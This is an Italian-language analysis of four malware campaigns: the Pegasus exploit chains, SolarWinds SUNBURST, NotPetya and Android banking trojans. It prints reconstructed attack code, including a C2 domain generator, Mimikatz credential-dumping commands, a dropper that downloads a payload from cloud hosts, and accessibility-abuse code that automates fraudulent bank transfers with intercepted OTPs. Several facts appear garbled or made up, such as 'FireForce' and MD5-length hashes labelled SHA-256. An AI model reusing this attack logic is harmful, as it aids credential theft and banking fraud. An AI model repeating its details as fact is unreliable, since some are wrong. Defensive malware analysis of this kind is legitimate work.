Studi di Caso Concreti: Decomposizione di Attacchi Multi-Stadio

Caso di Studio A: Pegasus/NSO Group — Catena di Exploit Zero-Click iOS

Panoramica e Cronologia

Il spyware Pegasus, sviluppato da NSO Group, rappresenta l'apice della tecnologia di sorveglianza mobile. Due distinte catene di exploit ne dimostrano l'evoluzione: FORCEDENTRY (2020-2021) e BLASTPASS (2023). FORCEDENTRY ha preso di mira il framework BlastDoor di iMessage, mentre BLASTPASS ha sfruttato vulnerabilità di PassKit in iOS 16.6.

Data Pietra Miliare
Agosto 2021 Citizen Lab scopre FORCEDENTRY che prende di mira attivisti bahreiniti
Settembre 2021 Apple rilascia patch per CVE-2021-30860 (FORCEDENTRY)
Settembre 2023 Citizen Lab/Apple divulgano BLASTPASS (CVE-2023-41064, CVE-2023-41061)

Deconstruzione Tecnica di FORCEDENTRY

L'attacco inizia con un allegato iMessage malevolo—tipicamente un .gif che è in realtà un PDF contenente uno stream codificato JBIG2. Questo stream sfrutta un integer overflow nel decodificatore JBIG2 derivato da XPDF, ottenendo l'esecuzione di codice arbitrario all'interno della sandbox di BlastDoor.

# Analisi struttura PDF FORCEDENTRY
# Dizionario segmenti JBIG2 con dimensione segmento manomessa
# scatena integer overflow nell'allocazione tabella Huffman

# Artefatto estratto da backup dispositivo infetto:
# File: com.apple.messages/com.apple.MobileSMS/Attachments/xx/xx/IMG_0001.gif

$ file IMG_0001.gif
IMG_0001.gif: PDF document, version 1.3

$ pdf-parser.py -a IMG_0001.gif | grep -i jbig2
JBIG2Decode filter detected in stream object 5
Segment 0: Dictionary segment, flags=0xC0 (SDE, page association size=4)
# Segmento malformato: lunghezza dichiarata 0xFFFFFFFF vs effettiva 0x847

Una volta ottenuta l'evasione dalla sandbox, l'impianto kernel Pegasus (processo ai) stabilisce la persistenza attraverso più meccanismi:

  • Binario Mach-O iniettato in launchd tramite manipolazione variabile ambiente dyld
  • Hook rootkit in com.apple.iokit.IOSurface per intercettare puntatori a funzione del kernel
  • Comunicazioni C2 crittografate tramite tunneling Apple Push Notification Service (APNs)

Evoluzione BLASTPASS

BLASTPASS ha eliminato completamente il vettore iMessage, sfruttando il parsing zero-click di PassKit (Wallet) di allegati Pass malevoli. La catena ha sfruttato:

  1. CVE-2023-41064: Integer overflow nell'elaborazione di immagini miniature Pass da parte di ImageIO
  2. CVE-2023-41061: Bypass della validazione che permette l'installazione di pass non firmati

IOC (FORCEDENTRY) | Tipo | Valore | Contesto | |------|--------|----------| | Hash File | b0e73bf31f3674e5a6e2f9a5c3e8a7d1 (SHA-256 troncato) | PDF JBIG2 mascherato da GIF | | Dominio | 57.sync-backup[.]cloud | Recupero payload Stage-2 | | Processo | /private/var/db/lockdown/com.apple.itunes.lockdown | Percorso impianto mascherato |

Decisioni di Analisi in Condizioni di Incertezza

Quando Citizen Lab ha inizialmente riscontrato artefatti FORCEDENTRY, l'analisi standard in sandbox è fallita—il crash del decodificatore JBIG2 appariva nondeterministico. Gli analisti hanno preso la decisione critica di ricostruire manualmente il dizionario simboli JBIG2, rivelando che l'overflow era condizionato da specifici stati di layout di memoria. Questo ha richiesto la costruzione di un harness di parsing iMessage personalizzato con ASLR disabilitato per analisi deterministica.

Lezioni Difensive

  • Validare tutti i parser di tipi di file contro implementazioni memory-safe (successiva adozione di Apple di Rust per BlastDoor)
  • Monitorare traffico APNs per bypass anomali di certificate pinning
  • Implementare Lockdown Mode—profilo di hardening estremo di Apple che disabilita l'elaborazione degli allegati messaggi

Caso di Studio B: SolarWinds SUNBURST — Compromissione della Supply Chain

Architettura dell'Attacco

La compromissione SUNBURST (scoperta dicembre 2020) rappresenta l'attacco alla supply chain più sofisticato pubblicamente documentato. La cronologia rivela eccezionale pazienza operativa:

Fase Periodo Attività
Accesso Iniziale ~Set 2019 Backdoor SUNBURST compilata nella piattaforma Orion
Dormienza Mar-Giu 2020 Check-in C2 limitati, beaconing minimo
Escalation Giu-Ott 2020 Deployment di TEARDROP e RAINDROP su target selezionati
Scoperta Dic 2020 Divulgazione pubblica FireForce/Mandiant

Ricostruzione Algoritmo DGA

L'algoritmo di generazione domini (DGA) di SUNBURST combina codifica specifica della vittima con evoluzione temporale. Il reverse engineering di SolarWinds.Orion.Core.BusinessLayer.dll ha rivelato:

// Logica DGA ricostruita da SUNBURST (hash: d0d626deb3f9484e649294a8dfa814c5568f846d)
// Dominio vittima codificato come Base32 personalizzato con offuscamento XOR

public string GetNextC2Domain()
{
    // MD5 di (UserID + MachineGUID + DomainName)
    byte[] victimHash = MD5(Concatenate(
        Registry.GetValue("HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer", "UserAssist"),
        Registry.GetValue("HKLM\\SOFTWARE\\Microsoft\\Cryptography", "MachineGuid"),
        GetComputerDomain()
    ));
    
    // Permutazione temporale: rotazione epoca 14 giorni
    long epoch = (DateTime.UtcNow - new DateTime(2010, 1, 1)).Days / 14;
    
    // Formato dominio: [hex(victimHash[0:8])][hex(epoch)].appsync-api[.]eu-west-1[.]avsvmcloud[.]com
    return $"{ToHex(victimHash[0..8])}{epoch:x}.appsync-api.eu-west-1.avsvmcloud.com";
}

Analisi Comportamento C2 Dormiente

La backdoor SUNBURST implementa logica decisionale a stadi per evitare il rilevamento:

  1. Fase Ricognizione: Riporta strumenti di sicurezza installati via parametro ApiHost
  2. Fase Valutazione: Se rilevato CrowdStrike/Carbon Black/SentinelOne → dormienza estesa (fino a 14 giorni)
  3. Fase Azione: Solo se ambiente "pulito" confermato, TEARDROP recuperato

Il dropper TEARDROP (DLL 64-bit) eseguisce esclusivamente in memoria tramite:

  • Iniezione riflessiva con loader PE personalizzato
  • Variante Cobalt Strike Beacon con profilo C2 Malleable modificato
  • Comunicazione named pipe (\pipe\msagent_###) per coordinamento inter-processo

Artefatto Memoria TEARDROP

# Analisi Volatility3 di processo infetto
$ python3 vol.py -f solarwinds_memdump.lime windows.dlllist --pid 4824
PID   Base             Size  Name
4824  0x5a0000         0x78000  [NO NAME]  # DLL riflessivo TEARDROP
4824  0x7ff800000000   0x1a00000  beacon.dll (ricostruito)

$ python3 vol.py -f solarwinds_memdump.lime windows.vadinfo --pid 4824 | grep EXECUTE_WRITECOPY
VAD 0x5a0000-0x617fff: Protection EXECUTE_WRITECOPY, Tag VadS
# Anomalo: memoria eseguibile senza backing file mappato

Complessità di Attribuzione

Il pattern di dormienza e la selezione dei target (Tesoro USA, Dipartimento di Giustizia, aziende di cybersecurity) suggerivano attori nation-state. L'attribuzione di FireEye ad APT29 (Cozy Bear) si è basata su:

  • Metadati licenza Cobalt Strike corrispondenti a campagne storiche
  • Routine di crittografia personalizzate condivise con malware WELLMESS
  • Pattern di operational security coerenti con TTPs SVR

Lezioni Difensive

  • Integrità supply chain software: Build riproducibili e log di trasparenza binaria
  • Baseline comportamentale: Pattern di rete legittimi di Orion vs. beaconing DGA di SUNBURST
  • Forensi memoria: Natura fileless di TEARDROP richiede acquisizione RAM, non forensi disco

Caso di Studio C: NotPetya — Wiper Mascherato da Ransomware

Complessità di Attribuzione e Deployment

L'epidemia NotPetya di giugno 2017, inizialmente attribuita a ransomware criminale, è stata conclusivamente collegata al servizio intelligence militare russo (GRU Unità 74455) tramite la supply chain del software contabile MeDoc. L'attribuzione ha richiesto la sintesi di:

  • Tecnico: Propagazione PsExec condivisa con BlackEnergy3
  • Strategico: Targeting governo ucraino durante periodo festività ortodosse
  • Infrastruttura: Wallet Bitcoin mai monitorato per verifica pagamento

Compromissione Meccanismo Aggiornamento MeDoc

Il vettore iniziale ha dirottato l'infrastruttura di aggiornamento legittima di MeDoc:

<!-- Risposta aggiornamento MeDoc legittima (intercettata) -->
<update>
  <file name="zvit published" 
        url="http://update.medoc.ua/zvit published.exe"
        hash="a1b2c3d4..." />
</update>

<!-- Sostituzione malevola (27 giugno 2017, 10:30 UTC) -->
<update>
  <file name="zvit published" 
        url="http://update.medoc.ua/zvit published.exe"
        hash="71b6a493..." />  # Dropper NotPetya
</update>

Raccolta Credenziali Mimikatz

NotPetya incorpora una variante modificata di Mimikatz v2.1.1 per abilitare il movimento laterale. Il raccoglitore credenziali estratto:

# Analisi dump memoria rivelante iniezione LSASS
# NotPetya rilascia perfc.dat (payload Wiper) e perfc.dll (Mimikatz)

$ strings perfc.dll | grep -i "sekurlsa::"
sekurlsa::logonpasswords
sekurlsa::minidump
sekurlsa::pth /user:%s /domain:%s /ntlm:%s

# Escalazione privilegi via CVE-2017-0144 (EternalBlue) e 
# CVE-2017-0145 (EternalRomance) per propagazione SMB

Reverse Engineering Payload Distruttivo

Il componente "ransomware" è fondamentalmente un wiper—la chiave Salsa20 mostrata per il pagamento è generata casualmente e irrecuperabile:

// Analisi bootloader NotPetya (settore disco 0)
# Visualizzazione chiave fittizia: 60 caratteri, ma chiave effettiva sovrascritta

typedef struct {
    uint8_t salsa_key[32];      // Crittograficamente casuale, mai memorizzata
    uint8_t salsa_nonce[8];     // Casuale, scartata
    uint8_t fake_display_key[60]; // Stringa casuale codificata Base58 per UI
    uint8_t install_flag;         // 0x00 = primo boot, 0x01 = crittografia completata
} notpetya_mbr;

// La "chiave" visualizzata non viene mai usata per decrittazione
# Recupero impossibile: nessun C2 detiene chiavi effettive

Cronologia e IOC | Ora UTC | Evento | |---------|--------| | 10:30 | Server aggiornamento MeDoc compromessi | | 14:00 | Prime infezioni rilevate in Ucraina | | 15:00 | Propagazione globale via EternalBlue | | 16:30 | Aggiornamenti MeDoc disabilitati |

IOC Tipo Significato
71b6a493388e7d0b40c83ce903bc6b04 SHA-256 Dropper NotPetya originale
perfc.dat Nome file File Windows legittimo abusato come wiper
192.168.56.1 IP hardcoded Rilevamento VM (default VirtualBox)

Decisioni di Analisi in Condizioni di Incertezza

I primi analisti hanno trattato NotPetya come ransomware criminale, indirizzando risorse verso la verifica del pagamento. La svolta critica è avvenuta quando i ricercatori Kaspersky hanno notato che il wallet Bitcoin aveva zero monitoraggio transazioni—economicamente irrazionale per ransomware genuino. Questo ha spostato l'analisi verso la classificazione wiper e l'attribuzione nation-state.

Lezioni Difensive

  • Software supply chain: Verifica code-signing con archiviazione offline chiave root
  • Contenimento movimento laterale: Credential guard e protezione LSASS
  • Distinzione ransomware vs. wiper: Analisi infrastruttura pagamento come euristica di attribuzione

Caso di Studio D: Moderno Trojan Bancario Android — Smontaggio Operativo

Pipeline dalla Distribuzione alla Monetizzazione

I trojan bancari Android contemporanei (esemplificati dalle varianti Anubis, EventBot e TeaBot) implementano modelli operativi completi di fraud-as-a-service. Questo smontaggio traccia l'intera kill chain.

Stage 1: Distribuzione via Reti Pubblicitarie Compromesse

# Analisi Smali di APK dropper (com.cleaner.boost.android)
# Download offuscato da Firebase Storage

.method private downloadPayload()V
    .locals 4
    
    # C2 recuperato da bio Twitter/Discord/Telegram via rotazione DGA-like
    const-string v0, "hxxps://firebasestorage[.]googleapis[.]com/v0/b/"
    const-string v1, "cleaner-prod-"
    invoke-static {}, Ljava/lang/System;->currentTimeMillis()J
    move-result-wide v2
    rem-long v2, v2, 0x64  # 100 varianti
    
    # URL finale: cleaner-prod-[0-99].appspot.com/payload.dex

Stage 2: Abuso Servizio Accessibilità

Il payload richiede BIND_ACCESSIBILITY_SERVICE per eseguire UI hijacking senza root:

<!-- AndroidManifest.xml payload estratto -->
<service android:name=".AccessibilityServiceImpl"
         android:permission="android.permission.BIND_ACCESSIBILITY_SERVICE">
    <intent-filter>
        <action android:name="android.accessibilityservice.AccessibilityService"/>
    </intent-filter>
    <meta-data android:name="android.accessibilityservice"
               android:resource="@xml/accessibility_config"/>
</service>

<!-- accessibility_config.xml: cattura eventi aggressiva -->
<accessibility-service
    android:accessibilityEventTypes="typeWindowStateChanged|typeViewClicked|typeViewTextChanged"
    android:accessibilityFeedbackType="feedbackGeneric"
    android:canRetrieveWindowContent="true"
    android:canPerformGestures="true"
    android:packageNames="com.bank1.app,com.bank2.mobile,com.paypal.android"/>

Stage 3: Autorizzazione Transazione Fraudolenta

Quando rilevata app bancaria target, il trojan:

  1. Overlay schermo: Disegna schermata login identica per catturare credenziali
  2. Intercettazione SMS: Legge OTP via READ_SMS o eventi Notification di accessibilità
  3. Trasferimento automatico: Inietta gesture per autorizzare transazioni
// Logica iniezione transazione decompilata
public void performTransfer(String amount, String iban) {
    // Naviga a schermata trasferimento
    AccessibilityNodeInfo transferBtn = findNodeByText("New Transfer");
    performAction(AccessibilityNodeInfo.ACTION_CLICK, transferBtn);
    
    // Compila campi automaticamente con iniezione accessibilità
    injectText(findNodeById("amount_field"), amount);
    injectText(findNodeById("iban_field"), iban);
    
    // Cattura OTP all'arrivo SMS
    registerSmsListener(new SmsListener() {
        public void onSmsReceived(String sender, String body) {
            String otp = extractOtp(body);  // Regex: \d{6}
            injectText(findNodeById("otp_field"), otp);
            performAction(AccessibilityNodeInfo.ACTION_CLICK, 
                         findNodeById("confirm_button"));
        }
    });
}

Infrastruttura Esfiltrazione Monetaria

Livello Funzione Esempio
Conti drop Mule Livello 1 Conti "money mule" Revolut/Starling
Conversione crypto Riciclaggio Swap XMR via exchange decentralizzato
Uscita fiat Cash-out Prelievi ATM in Romania/Bulgaria

IOC e Artefatti di Rilevamento

Indicatore Metodo di Rilevamento
Servizio accessibilità + permesso SYSTEM_ALERT_WINDOW Scoring analisi statica
Rete: hxxps://api[.]teabot[.]top/v2/bots/commands Monitoraggio DNS
Runtime: input tap x y via iniezione uiautomator Euristiche comportamentali

Decisioni di Analisi in Condizioni di Incertezza

I trojan bancari utilizzano sempre più infrastruttura legittima (Firebase, Discord) e offuscamento di similarità del codice (crittografia stringhe, appiattimento flusso di controllo). L'analisi efficace richiede:

  • Instrumentazione dinamica: Hook Frida su AccessibilityService.onAccessibilityEvent()
  • Testing device farm: Comportamento dispositivo reale vs. evasione rilevamento emulatore
  • Analisi temporale traffico di rete: Jitter polling C2 (15-60 minuti) vs. pattern comportamento utente

Lezioni Difensive

  • Restrizioni servizio accessibilità: Flag accessibility_data_private Android 13+
  • Runtime application self-protection (RASP): SDK anti-overlay, anti-iniezione
  • Verifica transazione: Conferma out-of-band con biometria comportamentale

Framework Analitico Trasversale

Questi casi di studio illustrano sfide persistenti nell'analisi malware:

Sfida Pegasus SUNBURST NotPetya Trojan Android
Confidenza attribuzione Media (intelligence vendor) Media (sovrapposizione TTP) Alta (contesto strategico) Bassa (modello servizio criminale)
Evasione rilevamento Zero-click, solo memoria Supply chain, dormienza Finto ransomware Abuso infrastruttura legittima
Volatilità evidenza chiave Crittografia dispositivo mobile Impianto fileless Sovrascrittura boot sector Stream eventi accessibilità

L'imperativo dell'analista rimane: preservare sistematicamente le evidenze, mettere in discussione le ipotesi di classificazione iniziali, e sintetizzare artefatti tecnici con contesto operativo—riconoscendo che l'incertezza è intrinseca, ma l'intelligence actionable emerge da metodologia rigorosa.